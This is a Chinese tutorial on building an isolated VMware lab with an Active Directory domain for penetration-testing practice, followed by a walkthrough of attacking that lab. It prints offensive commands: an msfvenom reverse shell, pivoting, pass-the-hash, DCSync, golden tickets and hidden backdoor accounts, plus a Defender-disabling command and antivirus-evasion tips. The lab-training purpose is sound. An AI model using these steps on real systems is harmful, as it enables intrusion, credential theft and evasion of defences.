从零搭建内网渗透靶场:VMware虚拟网络配置与域环境攻防实战

从零搭建内网渗透靶场:VMware虚拟网络配置与域环境攻防实战

1. 项目概述:为什么我们需要一个可控的“内网战场”

在网络安全领域,尤其是渗透测试和红队评估中,“内网渗透”是一个绕不开的核心技能。很多新手朋友拿到一个靶机,或者通过Web漏洞拿到一个Webshell后,面对内部网络往往感到无从下手。网上的教程要么过于零散,要么直接丢给你一堆命令,却不告诉你这些命令在什么场景下、为什么有效。这就像给你一把枪,却不告诉你靶场在哪、靶子什么样。

“内网渗透-网络实验配置”这个项目,就是为了解决这个问题。它的核心目标不是教你如何攻击,而是为你搭建一个高度仿真、完全可控、可反复“炸毁”和重建的内网实验环境。在这个环境里,你可以安全地练习信息收集、横向移动、权限维持、隧道搭建等一系列内网渗透的关键技术,而不用担心触犯法律或影响真实业务。简单说,它就是一个属于你自己的、数字化的“网络攻防沙盘”。

这个环境适合谁?如果你是安全专业的学生、刚入行的渗透测试工程师、或者对网络攻防有浓厚兴趣的爱好者,这个项目就是为你量身定做的。通过亲手搭建和配置,你不仅能深刻理解内网的结构(如域环境、工作组、多层网络分区),更能将那些抽象的渗透命令(如nmap扫描、msfvenom生成载荷、proxychains代理转发)与具体的网络拓扑和主机角色对应起来,真正做到“知其然,更知其所以然”。

2. 环境整体设计与核心思路拆解

搭建内网实验环境,绝不是随便开几台虚拟机那么简单。一个设计良好的环境,应该能模拟真实企业内网中常见的元素和防御措施,同时兼顾实验的便利性和可复现性。

2.1 核心设计原则:仿真性、隔离性与便捷性

我的设计遵循三个核心原则:

  1. 仿真性:环境需要包含典型内网组件。最基本的是一个域环境,包含域控制器(DC)、成员服务器(如文件服务器、Web服务器)和域用户工作站。还可以模拟更复杂的场景,如存在防火墙分隔的DMZ区、仅允许特定协议通行的网络段等。
  2. 隔离性:实验环境必须与你的真实主机(宿主机)以及互联网完全隔离。这是安全红线。我们通过虚拟网络的“仅主机(Host-Only)模式”或自定义的虚拟网络来实现,确保所有的攻击流量只在虚拟环境内循环,不会泄露出去。
  3. 便捷性:环境要易于搭建、重置和快照。一次复杂的配置成功后,应立即创建虚拟机快照。这样,无论实验过程中“玩”得多乱,都可以一键恢复到干净状态,极大提升学习效率。

2.2 主流方案选型:VMware vs. VirtualBox

虚拟机软件是基石。主流选择是VMware Workstation Pro(或Player)和Oracle VirtualBox。

  • VMware Workstation Pro:功能强大,网络配置灵活(支持自定义虚拟网络),性能和对新系统的兼容性通常更好。它的“团队”功能可以方便地管理多台虚拟机组成的拓扑。如果你的预算允许,或者追求最稳定的实验体验,VMware是首选。它模拟的网卡等硬件更“真实”,能减少一些兼容性怪问题。
  • Oracle VirtualBox:免费、开源、跨平台。对于个人学习和实验,其功能完全足够。它的网络配置同样灵活,可以创建多个“内部网络”来模拟复杂的网络分区。

注意:无论选择哪个,请务必从官网下载,避免使用修改版,以保证虚拟化组件的稳定和安全。

我的选择与理由:我个人长期使用VMware Workstation Pro。原因在于其网络模拟的精细度和稳定性。例如,我可以轻松创建“VMnet2”(模拟内网网段)和“VMnet3”(模拟DMZ区),并精确控制哪些虚拟机接入哪个网络,以及网络之间是否允许互通,这非常贴合真实网络架构的设计。

2.3 拓扑结构设计:一个经典的靶场模型

为了覆盖内网渗透的主要知识点,我设计了一个三层拓扑模型,这也是很多CTF靶场和渗透测试认证(如OSCP)的常见结构:

  1. 攻击机(Attacker)

    • 系统:Kali Linux。集成了几乎所有需要的工具。
    • 网络:双网卡配置。
      • 网卡1(NAT模式):用于连接宿主机,方便从宿主机SSH连接、传输工具或临时访问互联网更新软件包。
      • 网卡2(自定义Host-Only网络,如VMnet2):用于连接目标内网。这是发起渗透测试的主要接口。
  2. 边界机/跳板机(Jump Server)

    • 系统:Windows 7 或 Windows Server 2008 R2。选择旧版本系统是因为漏洞和利用方式更经典、稳定,适合学习。
    • 角色:模拟一个对外提供服务的服务器(如Web服务器),通常位于DMZ或直接暴露在攻击者视野下。它是进入内网的第一个“突破口”。
    • 网络:双网卡配置。
      • 网卡1(与攻击机在同一Host-Only网络,VMnet2):接收来自攻击机的初始攻击。
      • 网卡2(另一个内部网络,如VMnet3):连接内部核心网络。这台机器通常被称为“双宿主机”。
  3. 内网核心区

    • 域控制器(Domain Controller, DC)
      • 系统:Windows Server 2012 R2 或 2016。安装Active Directory域服务,创建一个域(例如:lab.local)。
      • 角色:整个内网的管理核心,存储所有域用户、计算机账号和组策略。
    • 域成员服务器
      • 系统:Windows Server 2012 R2。
      • 角色:例如文件服务器(File Server),存放一些敏感数据,用于练习横向移动中的凭据窃取和敏感信息搜寻。
    • 域用户工作站
      • 系统:Windows 10。
      • 角色:模拟普通员工的办公电脑,登录着域用户账号。这是横向移动的常见目标。
    • 网络:上述所有内网机器都连接到第二个内部网络(VMnet3),与边界机相连,但与攻击机直接隔离。

拓扑关系图(文字描述):

[攻击机 (Kali)] <--(VMnet2)--> [边界机 (Win7)] <--(VMnet3)--> [内网核心区 (DC, 文件服务器, Win10工作站)]

攻击机无法直接访问内网核心区,必须首先攻陷边界机,然后以边界机为跳板,向内网渗透。

3. 核心细节解析与实操要点

3.1 虚拟网络配置详解

这是整个环境搭建中最关键的一步,决定了网络的隔离性和连通性。以VMware为例:

  1. 创建虚拟网络:打开VMware的“虚拟网络编辑器”(需要管理员权限)。点击“更改设置”,然后“添加网络”。我们添加两个网络,例如VMnet2和VMnet3。类型均选择“仅主机模式”,并取消勾选“将主机虚拟适配器连接到此网络”。这一步至关重要,它确保了这两个网络完全封闭在虚拟机内部,宿主机也无法直接接入,实现了物理隔离。
  2. 配置子网:为VMnet2和VMnet3分别设置不同的IP网段。例如:
    • VMnet2:192.168.92.0/24(网关和DHCP可禁用,我们手动配置IP)
    • VMnet3:10.10.10.0/24
  3. 为虚拟机分配网卡
    • Kali攻击机:添加两块网卡。第一块用“NAT”模式(方便管理)。第二块选择“自定义”->“VMnet2”。
    • Win7边界机:添加两块网卡。第一块选择“自定义”->“VMnet2”。第二块选择“自定义”->“VMnet3”。
    • 内网所有机器(DC、文件服务器、Win10):网卡均选择“自定义”->“VMnet3”。

实操心得:配置完成后,在每台虚拟机内使用ipconfig(Windows)或ip addr(Linux)检查IP地址是否按预期分配。建议全部使用静态IP,避免DHCP带来的变数。例如,将Kali在VMnet2网卡的IP设为192.168.92.10,Win7在VMnet2的IP设为192.168.92.20,在VMnet3的IP设为10.10.10.20;DC的IP设为10.10.10.1

3.2 操作系统安装与基础加固(故意留“缺口”)

实验环境不是为了安全,而是为了练习攻击。因此,我们的“加固”是选择性的,目的是模拟真实环境中常见的“脆弱点”。

  1. Windows系统安装

    • 所有Windows虚拟机安装时,为管理员账户设置一个弱密码,如Password123!admin@123。这是模拟弱口令漏洞。
    • 安装完成后,立即关闭Windows防火墙(或配置允许ICMP和后续实验需要的端口如445、135等)。在实际渗透测试中,防火墙是首要障碍,但在学习阶段,我们先绕过它,专注于协议和漏洞本身。
    • 在边界机(Win7)上,开启一些高风险服务,如Web服务(IIS)、FTP服务,并可能配置一个存在已知漏洞的旧版本应用(如旧版CMS)。
  2. Active Directory域环境搭建

    • 在DC上,通过服务器管理器添加“Active Directory域服务”角色,将其提升为域控制器,创建新林和根域,例如lab.local
    • 创建组织单元(OU)、用户和组。例如,创建ITFinance等OU,创建普通域用户zhangsanlisi,以及一个权限较高的服务账户svc_backup
    • 关键技巧:设置一些符合“Kerberos攻击”特征的账户。例如,为svc_backup账户设置“不要求Kerberos预身份验证”属性,或者给某个用户配置“约束委派”。这些是内网渗透中高阶的攻击路径。
  3. Kali攻击机准备

    • 更新源并执行全面升级:sudo apt update && sudo apt full-upgrade -y
    • 安装一些额外的、好用的工具,如impacket工具包(用于各种协议攻击)、bloodhound及其采集器sharpHound(用于域内关系分析)、chisel(轻量级隧道工具)、ligolo-ng(现代隧道工具)等。
    • 配置代理环境:编辑/etc/proxychains4.conf,将socks4 127.0.0.1 9050注释掉,添加socks5 127.0.0.1 1080(假设我们后续会用frpnps的socks5代理)。这是为后续横向移动做准备。

4. 实操过程与核心环节实现

环境搭好,相当于舞台已就位。现在,我们来模拟一次完整的、简化的内网渗透流程,看看各个组件如何联动。

4.1 阶段一:外网打点与边界突破

假设边界机(Win7, IP:192.168.92.20)运行着一个有漏洞的Web服务。

  1. 信息收集

    # 从Kali攻击机(192.168.92.10)发起扫描 nmap -sS -sV -O -p- 192.168.92.20

    发现开放了80端口(IIS 7.5)和21端口(FTP)。

  2. 漏洞利用

    • 通过目录扫描发现/admin后台。尝试弱口令admin/admin登录成功。
    • 后台存在文件上传功能,但过滤了.php后缀。通过上传.php.jpg(图片马)并配合解析漏洞,或上传.aspx文件(服务器支持ASP.NET),成功获取Webshell。
    • 通过Webshell执行命令,添加一个用户并添加到管理员组,或直接生成一个反向Shell。
      # 使用msfvenom生成一个针对Windows的反弹Shell载荷 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.92.10 LPORT=4444 -f exe -o shell.exe
      shell.exe上传到边界机并执行,同时在Kali上启动msfconsole监听,成功获得一个Meterpreter会话。
  3. 权限提升与持久化

    • 在获得的Meterpreter会话中,尝试本地提权(例如利用getsystem命令或迁移到高权限进程)。
    • 上传后门工具(如msfpersistence模块)或创建计划任务,实现持久化访问。

4.2 阶段二:内网信息收集与横向移动

现在,我们以边界机为跳板,探索内网(10.10.10.0/24网段)。

  1. 网络拓扑探测

    • 在边界机的Meterpreter会话中,执行run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24,或上传nmap的Windows版进行扫描。
    • 发现内网存活主机:10.10.10.1(DC),10.10.10.5(文件服务器),10.10.10.10(Win10工作站)。
  2. 搭建代理隧道

    • 为了从Kali攻击机直接访问内网资源,需要在边界机上架设代理。这里使用frp
    • 在Kali(攻击机)上运行frps(服务端),在边界机(通过Meterpreter上传并执行)运行frpc(客户端),配置一个socks5代理端口(如1080)转发到边界机。
    • 配置Kali的proxychains,现在所有通过proxychains发起的命令,流量都会经过边界机转向内网。
      proxychains nmap -sT -sV -p 445,139,135,88,389 10.10.10.1
  3. 横向移动攻击

    • 密码喷射与哈希传递:从边界机上抓取哈希(使用hashdumpmimikatz)。假设抓取到本地管理员哈希。使用crackmapexecimpacket套件中的psexec进行哈希传递攻击。
      proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :[NTLM哈希] administrator@10.10.10.5
    • 利用MS17-010(永恒之蓝):如果发现内网有未打补丁的Windows 7/Server 2008机器,可以使用msfexploit/windows/smb/ms17_010_eternalblue模块进行攻击。
    • Kerberos协议攻击:如果收集到的域用户账户设置了“不要求预认证”,可以使用impacketGetUsersSPNsGetNPUsers工具请求TGT,然后离线破解。

4.3 阶段三:域渗透与权限维持

  1. 域内信息枚举

    • 在攻陷的任一域成员机器上,使用net命令或PowerView脚本枚举域信息。
      net group “domain admins” /domain net user /domain
    • 使用BloodHound采集器SharpHound.ps1收集域内所有关系数据,导入Kali的BloodHound图形界面,分析攻击路径。这是发现“从普通域用户到域管理员最短路径”的利器。
  2. 攻击域控制器

    • DCSync攻击:如果获得了域管理员或同等权限,可以使用mimikatzlsadump::dcsync功能,直接让DC同步(即泄露)指定用户的哈希,包括krbtgt账户。获取krbtgt哈希后,可以制作黄金票据(Golden Ticket),获得域内任意资源的访问权限。
    • PsExec直接控制:使用获得的域管理员凭据,通过psexecwmiexec直接获取DC的System权限Shell。
  3. 深度权限维持

    • 黄金票据:如上所述,使用krbtgt哈希创建黄金票据,有效期可以设置为10年,实现长期、隐蔽的权限维持。
    • 创建隐藏后门账户:在DC上创建用户名末尾带$的账户(如admin$),这类账户在net user中默认不显示。
    • DCShadow攻击:这是一种高阶攻击,攻击者模拟一个域控制器,向真实的DC推送恶意更改(如添加后门用户到高权限组),隐蔽性极强。

5. 常见问题与排查技巧实录

在搭建和实验过程中,你一定会遇到各种问题。这里记录一些我踩过的坑和解决方案。

5.1 网络连通性问题

  • 问题:虚拟机之间无法ping通。
  • 排查
    1. 检查虚拟网络配置:确认所有虚拟机的网卡是否连接到了正确的虚拟网络(VMnet2/VMnet3)。
    2. 检查防火墙:Windows防火墙是“头号杀手”。实验初期,可以在所有Windows虚拟机上直接关闭防火墙(netsh advfirewall set allprofiles state off)。
    3. 检查IP地址:确认各虚拟机在相应网段的IP地址配置正确,且无冲突。确保网关和DNS设置正确(内网实验通常不需要网关)。
    4. 禁用IPv6:有时IPv6会引起混淆。可以在网络适配器设置中暂时禁用IPv6。

5.2 域环境搭建失败

  • 问题:在Windows Server上安装AD域服务时失败,提示域名问题或网络问题。
  • 排查
    1. 设置静态IP:DC必须使用静态IP,不能是DHCP获取的。
    2. 修改主机名:在安装AD前,将计算机名修改为一个符合FQDN格式的简单名字,如DC01
    3. 配置DNS:将DC自己的IP地址设为首选DNS服务器。这是AD工作的关键。
    4. 使用全域名:创建新林时,使用一个虚构的根域名,如lab.local,不要使用.com等真实域名。

5.3 横向移动工具失败

  • 问题:使用psexecwmiexec进行横向移动时,连接被拒绝或认证失败。
  • 排查
    1. 服务状态:确保目标机器的Server服务(对应445端口)和Windows Management Instrumentation服务是运行的。
    2. 防火墙规则:确认目标机器的防火墙放行了135、445、139等端口。可以临时执行netsh advfirewall firewall add rule name=“SMB” dir=in action=allow protocol=TCP localport=445
    3. 用户权限:确认你使用的凭据在目标机器上具有管理员权限。在工作组环境中,需要目标机器的本地管理员密码;在域环境中,需要域管理员或目标机器本地管理员权限。
    4. 哈希格式:使用impacket工具进行哈希传递时,确保哈希格式是LMHASH:NTHASH,如果LM哈希为空,则用:代替,如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

5.4 代理隧道不稳定

  • 问题:通过frpreGeorg搭建的代理隧道时断时续,速度慢。
  • 排查与技巧
    1. 选择稳定工具:对于TCP层的隧道,frpnps非常稳定。对于HTTP/HTTPS隧道(用于突破严格的出口过滤),reGeorgNeo-reGeorg是经典选择,但稳定性稍差。
    2. 使用多级代理:如果网络环境复杂,可以尝试多级跳转。例如,Kali -> 边界机 -> 内网另一台主机。
    3. 使用ligolo-ng:这是一个基于TUN接口的现代隧道工具,性能非常好,能自动路由,体验接近直接接入内网,强烈推荐在条件允许时使用。
    4. 调整超时和重试:在proxychains配置中增加tcp_read_time_outtcp_connect_time_out的值。

5.5 杀毒软件干扰

  • 问题:上传的工具(如mimikatz.exe,nc.exe)被Windows Defender瞬间删除。
  • 规避技巧
    1. 实时关闭:在已获得Shell的机器上,优先执行命令关闭实时防护。
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
    2. 免杀处理:对工具进行混淆、加壳或自己编译。可以使用Veil-EvasionShellter等工具生成免杀载荷,或者从GitHub寻找针对Defender的绕过技术。
    3. 内存加载:不将工具文件落地到磁盘。使用PowerShellC#Assembly.Load等方式,直接从远程加载字节码到内存中执行。CovenantSharPersist等框架支持这种方式。
    4. 利用白名单:使用MSBuild.exe,InstallUtil.exe等系统自带的可信程序来执行恶意代码。

搭建这样一个内网渗透实验环境,初期会花费不少时间在配置和排错上,但这个过程本身极具价值。它能让你对内网协议、服务、安全机制和攻击链有立体而深刻的理解。当你在自己构建的“沙盘”里成功从外网一步步打到域控,那种对整个攻击链路豁然开朗的感觉,是只看教程无法比拟的。记住,每完成一次完整的渗透,就创建一个快照。然后尝试增加难度:打开防火墙、部署简单的EDR、设置网络访问控制列表,在攻防的不断对抗中,你的实战能力会飞速成长。